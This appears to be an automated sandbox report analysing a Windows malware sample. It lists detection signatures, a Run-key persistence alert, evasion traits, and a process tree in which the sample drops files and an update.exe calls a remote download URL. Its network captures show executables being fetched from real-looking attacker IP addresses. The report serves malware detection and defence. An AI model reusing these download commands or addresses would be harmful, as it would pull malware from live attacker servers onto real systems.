Edit tour

Windows Analysis Report
#U4fdd#U62a4#U795e1.exe

Overview

General Information

Sample name:	#U4fdd#U62a4#U795e1.exe renamed because original name is a hash value
Original sample name:	1.exe
Analysis ID:	1559170
MD5:	f5b663e9aa9555b45bd9e88221083781
SHA1:	3df73ded0310c3e70ce430118ced5073f75e0cc1
SHA256:	2db7d9e24396db62672a83f5245a154a8b58d2099554aaa93ad2dcef1f18c513
Tags:	exeopendiruser-Joker
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to detect sleep reduction / modifications

Detected VMProtect packer

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file has a writeable .text section

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Contains functionality for read data from the clipboard

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May check if the current machine is a sandbox (GetTickCount - Sleep)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

#U4fdd#U62a4#U795e1.exe (PID: 6648 cmdline: "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe" MD5: F5B663E9AA9555B45BD9E88221083781)

16.exe (PID: 6340 cmdline: C:\Users\user\Desktop\ 16.exe MD5: 72AA0DBF54D8C3A47D3C3AA1BD875E1D)

update.exe (PID: 5272 cmdline: update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901 MD5: CA57BDFF74665A2A42A8CF4AD4593D9F)

#U4fdd#U62a4#U795e1.exe (PID: 5608 cmdline: "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe" MD5: F5B663E9AA9555B45BD9E88221083781)

cleanup

Sigma Signatures

System Summary

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe, ProcessId: 6648, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ 1

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T09:14:45.429724+0100	2803304	3	Unknown Traffic	192.168.2.11	49702	42.193.100.57	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\ 16.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\Desktop\update.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: #U4fdd#U62a4#U795e1.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\update.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\ 16.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: #U4fdd#U62a4#U795e1.exe

Joe Sandbox ML: detected

Source: #U4fdd#U62a4#U795e1.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,	0_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,	0_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00423610 FindFirstFileA,FindClose,	0_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,	0_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,	0_2_00411EF0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,	3_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,	3_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00423610 FindFirstFileA,FindClose,	3_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,	3_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,	3_2_00411EF0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004929E2 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,	7_2_004929E2
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00438DA0 FindNextFileA,FindClose,FindFirstFileA,FindClose,	7_2_00438DA0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0043BF10 FindFirstFileA,FindClose,	7_2_0043BF10
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0042FF90 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,	7_2_0042FF90

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 4x nop then push esi		0_2_0041F502
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 4x nop then push esi		3_2_0041F502

Source: global traffic

TCP traffic: 192.168.2.11:49711 -> 38.6.175.134:9901

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 23 Jul 2024 08:08:40 GMTAccept-Ranges: bytesETag: "db12387d7dcda1:0"Server: Microsoft-IIS/8.5Date: Wed, 20 Nov 2024 08:14:44 GMTContent-Length: 6123520Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bd 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d6 9f 11 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 53 27 00 00 b0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e2 05 00 00 10 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 30 00 00 00 0a 36 29 00 00 00 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 c0 c3 5c 00 00 40 68 00 00 d0 5c 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 72 73 72 63 00 00 00 b5 8b 00 00 00 10 c5 00 00 90 00 00 00 e0 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 23 Jul 2024 08:08:40 GMTAccept-Ranges: bytesETag: "db12387d7dcda1:0"Server: Microsoft-IIS/8.5Date: Wed, 20 Nov 2024 08:14:45 GMTContent-Length: 6123520Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bd 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d6 9f 11 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 53 27 00 00 b0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e2 05 00 00 10 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 30 00 00 00 0a 36 29 00 00 00 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 c0 c3 5c 00 00 40 68 00 00 d0 5c 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 72 73 72 63 00 00 00 b5 8b 00 00 00 10 c5 00 00 90 00 00 00 e0 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 23 Jul 2024 08:08:40 GMTAccept-Ranges: bytesETag: "db12387d7dcda1:0"Server: Microsoft-IIS/8.5Date: Wed, 20 Nov 2024 08:14:58 GMTContent-Length: 6123520Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bd 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d6 9f 11 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 53 27 00 00 b0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e2 05 00 00 10 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 30 00 00 00 0a 36 29 00 00 00 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 c0 c3 5c 00 00 40 68 00 00 d0 5c 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 72 73 72 63 00 00 00 b5 8b 00 00 00 10 c5 00 00 90 00 00 00 e0 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1Host: 42.193.100.57Cache-Control: no-cache

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.11:49702 -> 42.193.100.57:80

Source: global traffic	HTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: /Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: /Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.193.100.57

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_004071EA InternetOpenUrlA,InternetReadFile,

0_2_004071EA

Source: global traffic	HTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: /Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1User-Agent: Agent7207437Host: 42.193.100.57Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1Host: 42.193.100.57Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: /Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1User-Agent: Agent7220484Host: 42.193.100.57Cache-Control: no-cache

Source: #U4fdd#U62a4#U795e1.exe	String found in binary or memory: http://.httpsset-cookie:;;
Source: 16.exe, 00000004.00000002.1879881423.00000000005FB000.00000002.00000001.01000000.00000007.sdmp, 16.exe, 00000004.00000002.1882768972.00000000013AD000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.6.175.25:901
Source: update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.6.175.25:901/down
Source: update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.6.175.25:901/downLq
Source: update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.6.175.25:901/downhttp://38.6.175.25:901
Source: 16.exe, 00000004.00000002.1882225013.000000000134E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.6.175.25:901/downt
Source: update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.6.175.25:9018
Source: 16.exe, 00000004.00000003.1877794042.0000000002D51000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.6.175.25:901C:
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.0000000000666000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/
Source: #U4fdd#U62a4#U795e1.exe	String found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt(
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt-U
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtKB-
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtSB5
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtY
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp, ???[1].txt.0.dr, ???[1].txt.3.dr	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe
